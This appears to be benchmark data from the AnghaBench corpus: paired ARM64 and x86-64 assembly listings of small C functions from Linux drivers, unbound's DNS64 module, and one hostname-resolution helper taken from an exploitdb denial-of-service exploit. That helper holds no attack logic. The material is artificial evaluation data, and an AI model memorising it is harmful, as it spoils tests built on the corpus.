.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function tcf_block_remove _tcf_block_remove: ; @tcf_block_remove .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ldr x0, [sp, #16] adrp x8, _tcf_net_id@GOTPAGE ldr x8, [x8, _tcf_net_id@GOTPAGEOFF] ldr w1, [x8] bl _net_generic str x0, [sp, #8] ldr x0, [sp, #8] bl _spin_lock ldr x8, [sp, #8] ldur x9, [x29, #-8] ldr w1, [x9] add x0, x8, #4 bl _idr_remove ldr x0, [sp, #8] bl _spin_unlock ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _tcf_net_id,4,2 ; @tcf_net_id .no_dead_strip _tcf_block_remove .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function tcf_block_remove _tcf_block_remove: ## @tcf_block_remove .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rdi movq _tcf_net_id@GOTPCREL(%rip), %rax movl (%rax), %esi callq _net_generic movq %rax, -24(%rbp) movq -24(%rbp), %rdi callq _spin_lock movq -24(%rbp), %rdi addq $4, %rdi movq -8(%rbp), %rax movl (%rax), %esi callq _idr_remove movq -24(%rbp), %rdi callq _spin_unlock addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _tcf_net_id,4,2 ## @tcf_net_id .no_dead_strip _tcf_block_remove .subsections_via_symbols
AnghaBench/linux/net/sched/extr_cls_api.c_tcf_block_remove.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _resolv ; -- Begin function resolv .p2align 2 _resolv: ; @resolv .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x0, [x29, #-8] bl _inet_addr str x0, [sp, #8] ldr x8, [sp, #8] adrp x9, _INADDR_NONE@GOTPAGE ldr x9, [x9, _INADDR_NONE@GOTPAGEOFF] ldr x9, [x9] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_1 LBB0_1: ldur x0, [x29, #-8] bl _gethostbyname str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldur x1, [x29, #-8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov w0, #1 bl _exit LBB0_3: ldr x8, [sp, #16] ldr x8, [x8] ldr x8, [x8] str x8, [sp, #8] b LBB0_4 LBB0_4: b LBB0_5 LBB0_5: ldr x0, [sp, #8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _INADDR_NONE,8,3 ; @INADDR_NONE .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "\nError: Unable to resolv hostname (%s)\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _resolv ## -- Begin function resolv .p2align 4, 0x90 _resolv: ## @resolv .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _inet_addr movq %rax, -24(%rbp) movq -24(%rbp), %rax movq _INADDR_NONE@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_5 ## %bb.1: movq -8(%rbp), %rdi callq _gethostbyname movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB0_3 ## %bb.2: movq -8(%rbp), %rsi leaq L_.str(%rip), %rdi callq _printf movl $1, %edi callq _exit LBB0_3: movq -16(%rbp), %rax movq (%rax), %rax movq (%rax), %rax movq %rax, -24(%rbp) ## %bb.4: jmp LBB0_5 LBB0_5: movq -24(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _INADDR_NONE,8,3 ## @INADDR_NONE .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "\nError: Unable to resolv hostname (%s)\n" .subsections_via_symbols
AnghaBench/exploitdb/exploits/windows/dos/extr_571.c_resolv.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ep93xxfb_setcolreg _ep93xxfb_setcolreg: ; @ep93xxfb_setcolreg .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-8] stur w1, [x29, #-12] stur w2, [x29, #-16] stur w3, [x29, #-20] stur w4, [x29, #-24] stur x5, [x29, #-32] ldur x8, [x29, #-32] ldr x8, [x8, #48] str x8, [sp, #40] ldur x8, [x29, #-32] ldr x8, [x8] str x8, [sp, #32] ldur x8, [x29, #-32] ldr w8, [x8, #40] str w8, [sp, #8] ; 4-byte Folded Spill subs w8, w8, #128 cset w8, eq tbnz w8, #0, LBB0_11 b LBB0_1 LBB0_1: ldr w8, [sp, #8] ; 4-byte Folded Reload subs w8, w8, #129 cset w8, ne tbnz w8, #0, LBB0_14 b LBB0_2 LBB0_2: ldur w8, [x29, #-8] subs w8, w8, #255 cset w8, ls tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: mov w8, #1 stur w8, [x29, #-4] b LBB0_16 LBB0_4: ldur w8, [x29, #-12] and w9, w8, #0xff00 ldur w8, [x29, #-16] and w8, w8, #0xff00 orr w8, w8, w9, lsl #8 ldur w9, [x29, #-20] and w9, w9, #0xff00 orr w8, w8, w9, lsr #8 str w8, [sp, #20] ldr w8, [sp, #20] ldr x9, [sp, #32] ldur w10, [x29, #-8] ; kill: def $x10 killed $w10 str w8, [x9, x10, lsl #2] ldr x0, [sp, #40] ldr w1, [sp, #20] adrp x8, _EP93XXFB_COLOR_LUT@GOTPAGE ldr x8, [x8, _EP93XXFB_COLOR_LUT@GOTPAGEOFF] ldr w8, [x8] ldur w9, [x29, #-8] add w2, w8, w9, lsl #2 bl _ep93xxfb_writel ldr x0, [sp, #40] adrp x8, _EP93XXFB_LUT_SW_CONTROL@GOTPAGE ldr x8, [x8, _EP93XXFB_LUT_SW_CONTROL@GOTPAGEOFF] ldr w1, [x8] bl _ep93xxfb_readl str w0, [sp, #28] ldr w8, [sp, #28] adrp x9, _EP93XXFB_LUT_SW_CONTROL_SSTAT@GOTPAGE ldr x9, [x9, _EP93XXFB_LUT_SW_CONTROL_SSTAT@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, ne and w8, w8, #0x1 str w8, [sp, #12] ldr w8, [sp, #28] adrp x9, _EP93XXFB_LUT_SW_CONTROL_SWTCH@GOTPAGE ldr x9, [x9, _EP93XXFB_LUT_SW_CONTROL_SWTCH@GOTPAGEOFF] ldr w9, [x9] ands w8, w8, w9 cset w8, ne and w8, w8, #0x1 str w8, [sp, #16] ldr w8, [sp, #12] ldr w9, [sp, #16] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB0_10 b LBB0_5 LBB0_5: str wzr, [sp, #24] b LBB0_6 LBB0_6: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] subs w8, w8, #256 cset w8, hs tbnz w8, #0, LBB0_9 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_6 Depth=1 ldr x0, [sp, #40] ldr x8, [sp, #32] ldr w9, [sp, #24] ; kill: def $x9 killed $w9 ldr w1, [x8, x9, lsl #2] adrp x8, _EP93XXFB_COLOR_LUT@GOTPAGE ldr x8, [x8, _EP93XXFB_COLOR_LUT@GOTPAGEOFF] ldr w8, [x8] ldr w9, [sp, #24] add w2, w8, w9, lsl #2 bl _ep93xxfb_writel b LBB0_8 LBB0_8: ; in Loop: Header=BB0_6 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_6 LBB0_9: ldr x0, [sp, #40] ldr w8, [sp, #28] adrp x9, _EP93XXFB_LUT_SW_CONTROL_SWTCH@GOTPAGE ldr x9, [x9, _EP93XXFB_LUT_SW_CONTROL_SWTCH@GOTPAGEOFF] ldr w9, [x9] eor w1, w8, w9 adrp x8, _EP93XXFB_LUT_SW_CONTROL@GOTPAGE ldr x8, [x8, _EP93XXFB_LUT_SW_CONTROL@GOTPAGEOFF] ldr w2, [x8] bl _ep93xxfb_writel b LBB0_10 LBB0_10: b LBB0_15 LBB0_11: ldur w8, [x29, #-8] subs w8, w8, #16 cset w8, ls tbnz w8, #0, LBB0_13 b LBB0_12 LBB0_12: mov w8, #1 stur w8, [x29, #-4] b LBB0_16 LBB0_13: ldur w0, [x29, #-12] ldur x8, [x29, #-32] ldr w1, [x8, #36] bl _ep93xxfb_convert_color stur w0, [x29, #-12] ldur w0, [x29, #-16] ldur x8, [x29, #-32] ldr w1, [x8, #28] bl _ep93xxfb_convert_color stur w0, [x29, #-16] ldur w0, [x29, #-20] ldur x8, [x29, #-32] ldr w1, [x8, #20] bl _ep93xxfb_convert_color stur w0, [x29, #-20] ldur w0, [x29, #-24] ldur x8, [x29, #-32] ldr w1, [x8, #12] bl _ep93xxfb_convert_color stur w0, [x29, #-24] ldur w8, [x29, #-12] ldur x9, [x29, #-32] ldr w9, [x9, #32] lsl w8, w8, w9 ldur w9, [x29, #-16] ldur x10, [x29, #-32] ldr w10, [x10, #24] lsl w9, w9, w10 orr w8, w8, w9 ldur w9, [x29, #-20] ldur x10, [x29, #-32] ldr w10, [x10, #16] lsl w9, w9, w10 orr w8, w8, w9 ldur w9, [x29, #-24] ldur x10, [x29, #-32] ldr w10, [x10, #8] lsl w9, w9, w10 orr w8, w8, w9 ldr x9, [sp, #32] ldur w10, [x29, #-8] ; kill: def $x10 killed $w10 str w8, [x9, x10, lsl #2] b LBB0_15 LBB0_14: mov w8, #1 stur w8, [x29, #-4] b LBB0_16 LBB0_15: stur wzr, [x29, #-4] b LBB0_16 LBB0_16: ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .comm _EP93XXFB_COLOR_LUT,4,2 ; @EP93XXFB_COLOR_LUT .comm _EP93XXFB_LUT_SW_CONTROL,4,2 ; @EP93XXFB_LUT_SW_CONTROL .comm _EP93XXFB_LUT_SW_CONTROL_SSTAT,4,2 ; @EP93XXFB_LUT_SW_CONTROL_SSTAT .comm _EP93XXFB_LUT_SW_CONTROL_SWTCH,4,2 ; @EP93XXFB_LUT_SW_CONTROL_SWTCH .no_dead_strip _ep93xxfb_setcolreg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ep93xxfb_setcolreg _ep93xxfb_setcolreg: ## @ep93xxfb_setcolreg .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movl %edi, -8(%rbp) movl %esi, -12(%rbp) movl %edx, -16(%rbp) movl %ecx, -20(%rbp) movl %r8d, -24(%rbp) movq %r9, -32(%rbp) movq -32(%rbp), %rax movq 48(%rax), %rax movq %rax, -40(%rbp) movq -32(%rbp), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq -32(%rbp), %rax movl 40(%rax), %eax movl %eax, -72(%rbp) ## 4-byte Spill subl $128, %eax je LBB0_10 jmp LBB0_16 LBB0_16: movl -72(%rbp), %eax ## 4-byte Reload subl $129, %eax jne LBB0_13 jmp LBB0_1 LBB0_1: cmpl $255, -8(%rbp) jbe LBB0_3 ## %bb.2: movl $1, -4(%rbp) jmp LBB0_15 LBB0_3: movl -12(%rbp), %eax andl $65280, %eax ## imm = 0xFF00 shll $8, %eax movl -16(%rbp), %ecx andl $65280, %ecx ## imm = 0xFF00 orl %ecx, %eax movl -20(%rbp), %ecx andl $65280, %ecx ## imm = 0xFF00 shrl $8, %ecx orl %ecx, %eax movl %eax, -60(%rbp) movl -60(%rbp), %edx movq -48(%rbp), %rax movl -8(%rbp), %ecx ## kill: def $rcx killed $ecx movl %edx, (%rax,%rcx,4) movq -40(%rbp), %rdi movl -60(%rbp), %esi movq _EP93XXFB_COLOR_LUT@GOTPCREL(%rip), %rax movl (%rax), %edx movl -8(%rbp), %eax shll $2, %eax addl %eax, %edx callq _ep93xxfb_writel movq -40(%rbp), %rdi movq _EP93XXFB_LUT_SW_CONTROL@GOTPCREL(%rip), %rax movl (%rax), %esi callq _ep93xxfb_readl movl %eax, -52(%rbp) movl -52(%rbp), %eax movq _EP93XXFB_LUT_SW_CONTROL_SSTAT@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax setne %al xorb $-1, %al xorb $-1, %al andb $1, %al movzbl %al, %eax movl %eax, -68(%rbp) movl -52(%rbp), %eax movq _EP93XXFB_LUT_SW_CONTROL_SWTCH@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax setne %al xorb $-1, %al xorb $-1, %al andb $1, %al movzbl %al, %eax movl %eax, -64(%rbp) movl -68(%rbp), %eax cmpl -64(%rbp), %eax jne LBB0_9 ## %bb.4: movl $0, -56(%rbp) LBB0_5: ## =>This Inner Loop Header: Depth=1 cmpl $256, -56(%rbp) ## imm = 0x100 jae LBB0_8 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movq -40(%rbp), %rdi movq -48(%rbp), %rax movl -56(%rbp), %ecx ## kill: def $rcx killed $ecx movl (%rax,%rcx,4), %esi movq _EP93XXFB_COLOR_LUT@GOTPCREL(%rip), %rax movl (%rax), %edx movl -56(%rbp), %eax shll $2, %eax addl %eax, %edx callq _ep93xxfb_writel ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 movl -56(%rbp), %eax addl $1, %eax movl %eax, -56(%rbp) jmp LBB0_5 LBB0_8: movq -40(%rbp), %rdi movl -52(%rbp), %esi movq _EP93XXFB_LUT_SW_CONTROL_SWTCH@GOTPCREL(%rip), %rax xorl (%rax), %esi movq _EP93XXFB_LUT_SW_CONTROL@GOTPCREL(%rip), %rax movl (%rax), %edx callq _ep93xxfb_writel LBB0_9: jmp LBB0_14 LBB0_10: cmpl $16, -8(%rbp) jbe LBB0_12 ## %bb.11: movl $1, -4(%rbp) jmp LBB0_15 LBB0_12: movl -12(%rbp), %edi movq -32(%rbp), %rax movl 36(%rax), %esi callq _ep93xxfb_convert_color movl %eax, -12(%rbp) movl -16(%rbp), %edi movq -32(%rbp), %rax movl 28(%rax), %esi callq _ep93xxfb_convert_color movl %eax, -16(%rbp) movl -20(%rbp), %edi movq -32(%rbp), %rax movl 20(%rax), %esi callq _ep93xxfb_convert_color movl %eax, -20(%rbp) movl -24(%rbp), %edi movq -32(%rbp), %rax movl 12(%rax), %esi callq _ep93xxfb_convert_color movl %eax, -24(%rbp) movl -12(%rbp), %edx movq -32(%rbp), %rax movl 32(%rax), %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl -16(%rbp), %eax movq -32(%rbp), %rcx movl 24(%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %eax orl %eax, %edx movl -20(%rbp), %eax movq -32(%rbp), %rcx movl 16(%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %eax orl %eax, %edx movl -24(%rbp), %eax movq -32(%rbp), %rcx movl 8(%rcx), %ecx ## kill: def $cl killed $ecx shll %cl, %eax orl %eax, %edx movq -48(%rbp), %rax movl -8(%rbp), %ecx ## kill: def $rcx killed $ecx movl %edx, (%rax,%rcx,4) jmp LBB0_14 LBB0_13: movl $1, -4(%rbp) jmp LBB0_15 LBB0_14: movl $0, -4(%rbp) LBB0_15: movl -4(%rbp), %eax addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _EP93XXFB_COLOR_LUT,4,2 ## @EP93XXFB_COLOR_LUT .comm _EP93XXFB_LUT_SW_CONTROL,4,2 ## @EP93XXFB_LUT_SW_CONTROL .comm _EP93XXFB_LUT_SW_CONTROL_SSTAT,4,2 ## @EP93XXFB_LUT_SW_CONTROL_SSTAT .comm _EP93XXFB_LUT_SW_CONTROL_SWTCH,4,2 ## @EP93XXFB_LUT_SW_CONTROL_SWTCH .no_dead_strip _ep93xxfb_setcolreg .subsections_via_symbols
AnghaBench/linux/drivers/video/fbdev/extr_ep93xx-fb.c_ep93xxfb_setcolreg.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function extract_ipv4 _extract_ipv4: ; @extract_ipv4 .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str w1, [sp, #20] ldr x8, [sp, #24] ldr w10, [sp, #20] mov w9, #8 str w9, [sp, #12] ; 4-byte Folded Spill sdiv w10, w10, w9 add w10, w10, #0 ldr x8, [x8, w10, sxtw #3] ; kill: def $w8 killed $w8 killed $x8 ldr w10, [sp, #20] sdiv w11, w10, w9 mul w11, w11, w9 subs w10, w10, w11 add w10, w10, #24 lsl w8, w8, w10 ldr x10, [sp, #24] ldr w11, [sp, #20] sdiv w11, w11, w9 add w11, w11, #1 ldr x10, [x10, w11, sxtw #3] ; kill: def $w10 killed $w10 killed $x10 ldr w11, [sp, #20] sdiv w12, w11, w9 mul w12, w12, w9 subs w11, w11, w12 add w11, w11, #16 lsl w10, w10, w11 orr w8, w8, w10 ldr x10, [sp, #24] ldr w11, [sp, #20] sdiv w11, w11, w9 add w11, w11, #2 ldr x10, [x10, w11, sxtw #3] ; kill: def $w10 killed $w10 killed $x10 ldr w11, [sp, #20] sdiv w12, w11, w9 mul w12, w12, w9 subs w11, w11, w12 add w11, w11, #8 lsl w10, w10, w11 orr w8, w8, w10 ldr x10, [sp, #24] ldr w11, [sp, #20] sdiv w11, w11, w9 add w11, w11, #3 ldr x10, [x10, w11, sxtw #3] ; kill: def $w10 killed $w10 killed $x10 ldr w11, [sp, #20] sdiv w12, w11, w9 mul w12, w12, w9 subs w11, w11, w12 add w11, w11, #0 lsl w10, w10, w11 orr w8, w8, w10 str w8, [sp, #16] ldr w8, [sp, #20] sdiv w8, w8, w9 add w8, w8, #4 subs w8, w8, #16 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #24] ldr w10, [sp, #20] mov w9, #8 sdiv w10, w10, w9 add w10, w10, #4 ldr x8, [x8, w10, sxtw #3] ; kill: def $w8 killed $w8 killed $x8 ldr w10, [sp, #20] sdiv w11, w10, w9 mul w11, w11, w9 subs w10, w10, w11 subs w9, w9, w10 asr w9, w8, w9 ldr w8, [sp, #16] orr w8, w8, w9 str w8, [sp, #16] b LBB0_2 LBB0_2: ldr w0, [sp, #16] add sp, sp, #32 ret .cfi_endproc ; -- End function .no_dead_strip _extract_ipv4 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function extract_ipv4 _extract_ipv4: ## @extract_ipv4 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movq -8(%rbp), %rax movq %rax, -80(%rbp) ## 8-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movq -80(%rbp), %rax ## 8-byte Reload addl $0, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax ## kill: def $eax killed $eax killed $rax movl %eax, -68(%rbp) ## 4-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl -68(%rbp), %eax ## 4-byte Reload movl %edx, %ecx addl $24, %ecx ## kill: def $cl killed $ecx shll %cl, %eax movl %eax, -56(%rbp) ## 4-byte Spill movq -8(%rbp), %rax movq %rax, -64(%rbp) ## 8-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movq -64(%rbp), %rax ## 8-byte Reload addl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax ## kill: def $eax killed $eax killed $rax movl %eax, -52(%rbp) ## 4-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl -56(%rbp), %eax ## 4-byte Reload movl %edx, %ecx movl -52(%rbp), %edx ## 4-byte Reload addl $16, %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -40(%rbp) ## 4-byte Spill movq -8(%rbp), %rax movq %rax, -48(%rbp) ## 8-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movq -48(%rbp), %rax ## 8-byte Reload addl $2, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax ## kill: def $eax killed $eax killed $rax movl %eax, -36(%rbp) ## 4-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl -40(%rbp), %eax ## 4-byte Reload movl %edx, %ecx movl -36(%rbp), %edx ## 4-byte Reload addl $8, %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -24(%rbp) ## 4-byte Spill movq -8(%rbp), %rax movq %rax, -32(%rbp) ## 8-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movq -32(%rbp), %rax ## 8-byte Reload addl $3, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax ## kill: def $eax killed $eax killed $rax movl %eax, -20(%rbp) ## 4-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl -24(%rbp), %eax ## 4-byte Reload movl %edx, %ecx movl -20(%rbp), %edx ## 4-byte Reload addl $0, %ecx ## kill: def $cl killed $ecx shll %cl, %edx movl %edx, %ecx orl %ecx, %eax movl %eax, -16(%rbp) movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx addl $4, %eax cmpl $16, %eax jge LBB0_2 ## %bb.1: movq -8(%rbp), %rax movq %rax, -96(%rbp) ## 8-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl %eax, %ecx movq -96(%rbp), %rax ## 8-byte Reload addl $4, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax ## kill: def $eax killed $eax killed $rax movl %eax, -84(%rbp) ## 4-byte Spill movl -12(%rbp), %eax movl $8, %ecx cltd idivl %ecx movl -84(%rbp), %eax ## 4-byte Reload movl $8, %ecx subl %edx, %ecx ## kill: def $cl killed $ecx sarl %cl, %eax orl -16(%rbp), %eax movl %eax, -16(%rbp) LBB0_2: movl -16(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _extract_ipv4 .subsections_via_symbols
AnghaBench/freebsd/contrib/unbound/dns64/extr_dns64.c_extract_ipv4.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function fifo_icap_read_fifo_occupancy _fifo_icap_read_fifo_occupancy: ; @fifo_icap_read_fifo_occupancy .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] ldr x8, [x8] adrp x9, _XHI_RFO_OFFSET@GOTPAGE ldr x9, [x9, _XHI_RFO_OFFSET@GOTPAGEOFF] ldr x9, [x9] add x0, x8, x9 bl _in_be32 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _XHI_RFO_OFFSET,8,3 ; @XHI_RFO_OFFSET .no_dead_strip _fifo_icap_read_fifo_occupancy .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function fifo_icap_read_fifo_occupancy _fifo_icap_read_fifo_occupancy: ## @fifo_icap_read_fifo_occupancy .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq (%rax), %rdi movq _XHI_RFO_OFFSET@GOTPCREL(%rip), %rax addq (%rax), %rdi callq _in_be32 addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _XHI_RFO_OFFSET,8,3 ## @XHI_RFO_OFFSET .no_dead_strip _fifo_icap_read_fifo_occupancy .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/char/xilinx_hwicap/extr_fifo_icap.c_fifo_icap_read_fifo_occupancy.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function calc_ref _calc_ref: ; @calc_ref .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] stur w2, [x29, #-16] stur w3, [x29, #-20] str wzr, [sp, #20] str wzr, [sp, #24] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #24] subs w8, w8, #4 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-12] ldur w10, [x29, #-20] mov w9, #8 str w9, [sp, #12] ; 4-byte Folded Spill mul w9, w9, w10 asr w8, w8, w9 str w8, [sp, #8] ; 4-byte Folded Spill ldur x0, [x29, #-8] ldur w1, [x29, #-16] ldur w2, [x29, #-20] ldr w3, [sp, #24] bl _calc_bias ldr w8, [sp, #8] ; 4-byte Folded Reload add w8, w0, w8, uxtb str w8, [sp, #16] ldr w0, [sp, #16] mov w1, #0 mov w2, #31 bl _clamp ldr w9, [sp, #12] ; 4-byte Folded Reload mov w8, #128 orr w8, w8, w0 ldr w10, [sp, #24] mul w9, w9, w10 lsl w9, w8, w9 ldr w8, [sp, #20] orr w8, w8, w9 str w8, [sp, #20] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_1 LBB0_4: ldr w0, [sp, #20] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .no_dead_strip _calc_ref .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function calc_ref _calc_ref: ## @calc_ref .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl %edx, -16(%rbp) movl %ecx, -20(%rbp) movl $0, -28(%rbp) movl $0, -24(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $4, -24(%rbp) jge LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -12(%rbp), %eax movl -20(%rbp), %ecx shll $3, %ecx ## kill: def $cl killed $ecx sarl %cl, %eax andl $255, %eax movl %eax, -36(%rbp) ## 4-byte Spill movq -8(%rbp), %rdi movl -16(%rbp), %esi movl -20(%rbp), %edx movl -24(%rbp), %ecx callq _calc_bias movl %eax, %ecx movl -36(%rbp), %eax ## 4-byte Reload addl %ecx, %eax movl %eax, -32(%rbp) movl -32(%rbp), %edi xorl %esi, %esi movl $31, %edx callq _clamp orl $128, %eax movl -24(%rbp), %ecx shll $3, %ecx ## kill: def $cl killed $ecx shll %cl, %eax orl -28(%rbp), %eax movl %eax, -28(%rbp) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_1 LBB0_4: movl -28(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _calc_ref .subsections_via_symbols
AnghaBench/linux/drivers/gpu/drm/nouveau/nvkm/subdev/fb/extr_nv30.c_calc_ref.c
